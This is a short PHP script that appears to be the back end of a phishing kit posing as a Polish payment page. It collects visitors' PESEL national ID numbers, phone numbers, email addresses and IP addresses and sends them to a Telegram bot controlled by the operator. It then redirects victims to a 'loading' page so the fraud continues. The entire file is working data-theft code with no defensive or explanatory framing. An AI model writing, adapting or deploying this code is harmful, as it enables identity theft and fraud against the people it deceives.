<?php
   include "config.php";
     

   $ip = getenv("REMOTE_ADDR");
      $message = "--💳 *Nowa próba płatności------\n👤 Pesel ".$_POST['pesel']."\n🏷️ *Phone: ".$_POST['phone']."\n📅 *Email: ".$_POST['email']."\n🔑 *📧 *E-mail:* :".$_POST['email']."\nIP      : ".$ip."\n-------------------- 🇬🇷 Zoldyck 🇬🇷-------------------\n";
   foreach($user_ids as $user_id) {
   $url='https://api.telegram.org/bot'.$bottoken.'/sendMessage';
   $data=array('chat_id'=>$user_id,'text'=>$message);
   $options=array('http'=>array('method'=>'POST','header'=>"Content-Type:application/x-www-form-urlencoded\r\n",'content'=>http_build_query($data),),);
   $context=stream_context_create($options);
   $result=file_get_contents($url,false,$context);
   
   }
   header("Location:loading1.html");
   
   ?>